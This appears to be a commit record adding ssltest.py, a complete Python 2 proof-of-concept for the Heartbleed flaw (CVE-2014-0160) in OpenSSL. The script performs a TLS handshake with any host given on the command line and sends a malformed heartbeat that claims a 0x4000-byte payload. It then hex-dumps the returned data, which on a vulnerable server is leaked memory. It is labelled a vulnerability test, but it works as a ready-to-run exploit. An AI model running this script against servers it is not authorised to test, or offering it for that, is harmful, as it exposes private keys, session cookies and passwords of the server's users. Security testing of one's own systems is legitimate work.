new_contents: #!/usr/bin/python
  
  # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  # The author disclaims copyright to this source code.
  
  import sys
  import struct
  import socket
  import time
  import select
  import re
  from optparse import OptionParser
  
  options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  
  def h2bin(x):
      return x.replace(' ', '').replace('\n', '').decode('hex')
  
  hello = h2bin('''
  16 03 02 00  dc 01 00 00 d8 03 02 53
  43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  00 0f 00 01 01                                  
  ''')
  
  hb = h2bin(''' 
  18 03 02 00 03
  01 40 00
  ''')
  
  def hexdump(s):
      for b in xrange(0, len(s), 16):
          lin = [c for c in s[b : b + 16]]
          hxdat = ' '.join('%02X' % ord(c) for c in lin)
          pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
          print '  %04x: %-48s %s' % (b, hxdat, pdat)
      print
  
  def recvall(s, length, timeout=5):
      endtime = time.time() + timeout
      rdata = ''
      remain = length
      while remain > 0:
          rtime = endtime - time.time() 
          if rtime < 0:
              return None
          r, w, e = select.select([s], [], [], 5)
          if s in r:
              data = s.recv(remain)
              # EOF?
              if not data:
                  return None
              rdata += data
              remain -= len(data)
      return rdata
          
  
  def recvmsg(s):
      hdr = recvall(s, 5)
      if hdr is None:
          print 'Unexpected EOF receiving record header - server closed connection'
          return None, None, None
      typ, ver, ln = struct.unpack('>BHH', hdr)
      pay = recvall(s, ln, 10)
      if pay is None:
          print 'Unexpected EOF receiving record payload - server closed connection'
          return None, None, None
      print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
      return typ, ver, pay
  
  def hit_hb(s):
      s.send(hb)
      while True:
          typ, ver, pay = recvmsg(s)
          if typ is None:
              print 'No heartbeat response received, server likely not vulnerable'
              return False
  
          if typ == 24:
              print 'Received heartbeat response:'
              hexdump(pay)
              if len(pay) > 3:
                  print 'WARNING: server returned more data than it should - server is vulnerable!'
              else:
                  print 'Server processed malformed heartbeat, but did not return any extra data.'
              return True
  
          if typ == 21:
              print 'Received alert:'
              hexdump(pay)
              print 'Server returned error, likely not vulnerable'
              return False
  
  def main():
      opts, args = options.parse_args()
      if len(args) < 1:
          options.print_help()
          return
  
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      print 'Connecting...'
      sys.stdout.flush()
      s.connect((args[0], opts.port))
      print 'Sending Client Hello...'
      sys.stdout.flush()
      s.send(hello)
      print 'Waiting for Server Hello...'
      sys.stdout.flush()
      while True:
          typ, ver, pay = recvmsg(s)
          if typ == None:
              print 'Server closed connection without sending Server Hello.'
              return
          # Look for server hello done message.
          if typ == 22 and ord(pay[0]) == 0x0E:
              break
  
      print 'Sending heartbeat request...'
      sys.stdout.flush()
      s.send(hb)
      hit_hb(s)
  
  if __name__ == '__main__':
      main()
  
subject: Add ssltest.py